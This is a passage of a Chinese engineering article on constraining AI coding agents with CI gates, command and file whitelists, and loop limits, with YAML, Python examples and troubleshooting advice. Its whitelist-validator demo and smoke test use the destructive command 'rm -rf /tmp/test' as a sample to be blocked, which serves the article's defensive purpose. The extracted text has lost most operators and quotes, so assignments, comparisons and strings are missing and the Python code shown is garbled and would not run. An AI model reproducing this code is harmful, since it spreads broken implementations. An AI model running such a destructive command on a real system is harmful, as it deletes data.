Token防止长篇大论式空转。max_depth最多允许多少层工具调用嵌套防止 Agent 递归调用子协议。下面是一个典型的配置片段loop_limits: max_steps: 20 max_seconds: 300 max_tokens: 10000 max_depth: 3 on_exceeded: aborton_exceeded表示超出上限后的行为。推荐使用abort而不是continue。一旦触发上限就停止当前任务、记录日志、通知负责人不要给它再试一次的机会。很多事故就是最后一次重试导致的。5.3 代码级别的循环保护示例有些团队不会直接用现成的 Agent Harness而是自己封装 Agent 调用。这种情况下可以用装饰器给函数加上循环上限。import time class LoopLimitExceeded(Exception): 循环超过上限时抛出。 def enforce_loop_limit(max_steps: int, max_seconds: int): def decorator(func): def wrapper(*args, **kwargs): start time.monotonic() for step in range(1, max_steps 1): if time.monotonic() - start max_seconds: raise LoopLimitExceeded( f超过最大执行时间 {max_seconds}sstep{step} ) print(f[loop] step{step}/{max_steps}) result func(*args, **kwargs) if result.get(done): return result raise LoopLimitExceeded(f超过最大步数 {max_steps}) return wrapper return decorator使用方式如下enforce_loop_limit(max_steps5, max_seconds10) def agent_step(): # 实际场景里这里会调用 LLM 接口、执行工具、判断任务是否完成 return {done: False} try: agent_step() except LoopLimitExceeded as e: print(f任务被终止{e})这个示例最关键的地方在于每次循环迭代都检查两个终止条件。一个是步数一个是时间。任何一个先超限就立刻停止。真实 Agent 框架里的循环上限比这个复杂但原理完全一致。如果把 Agent 跑在一个独立的子进程里还可以用更硬的手段timeout 300 python3 run_agent.py --task fix-order-npetimeout命令在进程阻塞或循环失控时会直接杀掉进程属于操作系统级别的保险丝。小结论循环上限解决的是做多少次就停止。它处理的是自动执行最典型的不收敛问题。没有它白名单能拦住危险动作却拦不住一个反复执行安全动作的失控 Agent。6. 三道防线协同一个任务从提交到发布的执行链路把三道防线拆开讲是为了理解各自的职责。但在真实项目里它们必须组合起来覆盖同一个任务的全生命周期。假设一个 AI 编程助手接到任务修复订单模块的空指针异常并补充单元测试。整个过程可以分成 8 步。第一步任务进入 Harness。Harness 检查任务来源是否在允许名单中如果来源不明直接拒绝。这属于门禁的入口关卡。第二步白名单检查工具集。Harness 确认 Agent 接下来只允许使用git、file-reader、code-search、test-runner这几个工具不允许使用网络请求工具。第三步门禁检查仓库状态。当前分支是否基于 main打开的 PR 是否关联了需求单仓库里是否检测到未提交的密钥任一条件不满足任务不会开始。第四步Agent 执行修改。每次写文件前Harness 都会检查目标路径是否在文件写白名单内。如果 Agent 试图修改application-prod.yml写入会被拦截并记录告警。第五步Agent 运行测试。执行mvn test之前Harness 做命令白名单匹配运行超时由timeout或循环上限中的max_seconds控制。第六步循环上限兜底。Agent 最多执行 20 步。第 15 步时Harness 发现它还在反复读同一个文件触发无进展检测主动终止任务。这里的无进展检测是循环上限的延伸。第七步提交 PR 后CI 门禁自动运行。覆盖率、静态扫描、安全扫描、依赖漏洞扫描任何一项不达标PR 都无法合并。第八步发布前门禁。审批通过、灰度策略就绪、回滚预案存在变更才允许进入生产环境。你会发现三道防线在链路中的位置是不同的白名单控制的是动作的边界在每一步执行前生效。循环上限控制的是执行的规模在整个任务跑动中生效。门禁控制的是阶段的流转在任务的关键转折点生效。缺了任何一道都会留下漏洞。只有门禁Agent 依然可以在门禁之间执行危险命令只有白名单Agent 可能在一个安全命令上死循环只有循环上限Agent 依然可以访问不该访问的文件。这也是为什么标题说三道防线一次讲透因为它们本来就是一套完整的控制逻辑不能只取其中一件。7. 工程落地配置、代码与验证方法这一章直接给可复用的落地路径。前面已经给了门禁的 YAML、白名单的 JSON、循环上限的 Python 装饰器接下来讲怎么把它们串起来以及如何验证是否真的生效。7.1 白名单校验器示例先实现一个简单的白名单校验类用来加载前面那份 JSON 配置并拦截不合规的命令和文件写入。import fnmatch import json class WhitelistValidator: def __init__(self, config_path: str): with open(config_path, encodingutf-8) as f: self.config json.load(f) def check_command(self, command: str): for item in self.config[commands]: if fnmatch.fnmatch(command, item[pattern]): return True, item.get(description, ) return False, fcommand not in whitelist: {command} def check_file_write(self, filepath: str): if any(filepath.endswith(s) for s in self.config[files][deny_suffix]): return False, fsuffix denied: {filepath} for prefix in self.config[files][write]: if filepath.startswith(prefix): return True, return False, fpath not in write whitelist: {filepath} if __name__ __main__: v WhitelistValidator(whitelist.json) ok, desc v.check_command(mvn test) print(f允许执行: {ok}, 说明: {desc}) denied, reason v.check_command(rm -rf /tmp/test) print(f拦截结果: {not denied}, 原因: {reason}) ok, reason v.check_file_write(src/main/java/com/example/OrderService.java) print(f允许写入: {ok}) denied, reason v.check_file_write(config/application-prod.yml) print(f拦截结果: {not denied}, 原因: {reason})这个实现只是教学演示。真实生产环境里如果 Agent 跑在本地它可能不走 Python 进程而是直接调用系统命令所以建议用容器、沙箱或操作系统级权限方案做最终隔离Python 校验只能作为应用层控制。7.2 循环上限与超时控制完整示例在真实 Agent 工程里循环保护往往需要同时处理执行时间和每步状态。这里给出一个更完整的版本包含用signal实现硬超时的示例。import signal class TimeoutError(Exception): pass class LoopGuard: def __init__(self, max_steps: int 10, max_seconds: int 30): self.max_steps max_steps self.max_seconds max_seconds self.step 0 def step_ok(self) - bool: self.step 1 print(f[loop] step{self.step}/{self.max_steps}) return self.step self.max_steps def _timeout_handler(signum, frame): raise TimeoutError(超过最大执行时间) def run_with_timeout(func, args(), kwargsNone, max_seconds10): signal.signal(signal.SIGALRM, _timeout_handler) signal.alarm(max_seconds) try: return func(*args, **(kwargs or {})) finally: signal.alarm(0) def agent_run(): guard LoopGuard(max_steps3, max_seconds5) while guard.step_ok(): # 模拟 Agent 执行一个步骤的逻辑 done False if done: return ok raise TimeoutError(超过最大步数) if __name__ __main__: try: result run_with_timeout(agent_run, max_seconds10) print(result) except TimeoutError as e: print(f任务终止: {e})需要注意signal模块只能在主线程中使用。如果你的 Agent 在异步任务或子线程中运行要改用asyncio.wait_for或threading.Timer否则会直接报错。7.3 如何验证三道防线已经生效配置写完之后关键是验证它真的会拦截。建议测试团队把这三条验证用例加入到日常冒烟测试中。验证门禁# 把覆盖率阈值临时从 80 改为 99提交一个低覆盖率 PR # 预期CI 在覆盖率检查步骤失败PR 无法合并验证白名单python3 validator_demo.py rm -rf /tmp/test # 预期输出拦截结果: True, 原因: command not in whitelist验证循环上限timeout 10 python3 agent_demo.py --task never-done # 预期输出任务在 step 达到上限后终止进程退出码非 0我建议团队在测试环境搭建一套故障注入用例专门验证这些防线构造一个覆盖率不足的 PR确认门禁拦截。让 Agent 尝试写一个白名单之外的敏感文件确认拦截并产生告警。让 Agent 执行一个永远不返回 done 的任务确认循环上限生效。没有故障注入的防线配置很可能只是看起来存在。8. 常见问题与排查思路问题现象可能原因排查方式解决方案门禁没有生效低覆盖率 PR 还是被合并门禁只跑在 CI却允许管理员绕过查看仓库保护分支规则开启必选检查禁止管理员强制合并白名单误拦了正常命令命令匹配模式太宽或太窄查看白名单拦截日志中的原始命令字符串精确到命令路径和参数模板Agent 反复分析不收敛浪费资源缺少循环上限或 max_steps 设置过大查看执行日志中的 step 字段调小 max_steps增加无进展检测超过 max_seconds 但进程没有退出被阻塞在外部 IO 或子进程查看线程栈和子进程树用 timeout 命令包裹进程强制超时修改白名单配置后没有生效配置存在缓存未刷新检查配置加载机制配置版本化、热加载、发布后确认门禁覆盖了覆盖率线上仍有功能 bug门禁只查了静态指标没查语义维度查看门禁覆盖项是否包含数据变更和接口契约增加数据迁移门禁、接口契约门禁循环上限触发后资源仍然被占用Agent 派生了子进程子进程没被回收检查进程树和容器资源在容器级别设置资源限制或使用进程组终止白名单允许的命令带出了敏感参数命令参数没有校验只匹配了命令名查看命令日志中是否出现敏感字段增加参数白名单和密钥扫描第一个问题是最常见的。很多团队配置了覆盖率检查但仓库的 branch protection 里没有把这个 job 设为 required结果开发者可以绕过检查直接合并。这个问题的排查顺序是先看 CI 是否真的失败了再看 PR 是否被强行合并最后看有没有 bypass 通道。第二个问题在 AI Agent 场景里特别典型。Agent 执行的命令可能带 shell 特殊符号或动态参数fnmatch匹配不上。建议把命令白名单做成前缀 参数模板例如mvn test -DtestOrderServiceTest而不是只写mvn test否则 Agent 带参数执行时会被误拦或者换个方式绕过。第五个问题的排查思路是不要直接改线上白名单配置然后等生效而是把配置当代码管理走 Git 变更、触发重新加载、在测试环境验证后再上线。9. 最佳实践与生产环境建议9.1 把规则当代码管理门禁、白名单、循环上限的配置必须像代码一样进行版本管理。不要直接在平台页面上改一两笔就完事因为那样既没有 review也无法回溯。推荐做法配置放在 Git 仓库使用 JSON、YAML 或 HCL 描述。变更必须走 PR 评审由测试、开发、安全三方确认。发布前在测试环境做影子验证确认没有误伤后再强制生效。每次变更都留审计记录方便追溯这条规则是谁在什么时间为什么加进来的。9.2 策略命名规范规则多了以后最大的问题不是没有规则而是找不到规则。建议按类型_环境_目标_描述的格式命名GATE_PRD_COVERAGE_MAIN WL_CMD_AGENT_RUNTIME WL_FILE_AGENT_WRITE LOOP_TASK_FIX_BUG命名清晰后测试同学排查问题、开发同学申请放行、安全同学做审计都会快很多。9.3 日志与审计不可省略三道防线的作用不只是拦截还要产生高质量的决策日志。每次拦截都应该记录被拦截的动作是什么命中哪条规则关联的任务 ID 或 PR ID触发时间执行主体哪个 Agent、哪个用户、哪个 CI 任务这些日志是事后复盘的关键材料。没有日志的拦截等于白拦。9.4 告警分级与灰度策略拦截本身不一定是坏事但如果一个规则频繁触发说明它可能配置过严或者 Agent 的行为模式超出了预期。建议分三个级别警告级别只记日志不阻断用于评估新策略的误伤率。阻断级别正式拦截记录原因并通知负责人。紧急级别短时间大量拦截立即升级到安全团队。新规则上线前先跑一段shadow 模式只观察命中情况不真正拦截。确认误伤率可接受后再切到强制模式。这个过程能避免白名单误拦导致业务中断。9.5 最小权限原则白名单的初始集合应该从最小开始逐步放开。比如一个 Agent 只需要改src/main/java和tests就不要给它config目录的写权限只需要跑测试就不要给它mvn deploy的权限只需要访问内部制品库就不要给它开放公网访问。权限放开必须走变更评审不能靠 Agent临时需要就随手加白名单。否则白名单会越来越宽最终形同虚设。9.6 测试团队的新角色最后补充一点对测试同学的建议。过去测试同学的价值主要体现在执行测试和发现 bug上。但当执行链路被门禁、白名单、循环上限接管后测试同学真正的价值变成了设计约束规则。你比开发同学更清楚哪些环节容易出问题你比安全同学更了解业务指标应该卡在哪里。把这些经验转成可执行的 Harness 规则比在测试环境里反复点页面更能影响线上质量。建议每一位测试开发同学都去尝试把一条经验转成一条策略把每次上线前手动检查配置变成发布门禁自动扫描敏感配置。把叮嘱 Agent 不要乱跑命令变成命令白名单强制拦截。把注意脚本不要卡死变成循环上限超时终止。当质量保障从靠人盯变成靠机制拦线上 bug 才真正有希望被堵住。这也是这篇文章最想传达的一件事线上 bug 不是被消灭的是被挡住的。门禁管住流转白名单管住权限循环上限管住失控。三者在 Harness 里各司其职共同构成 2026 年研发流程中最需要补齐的一块短板。
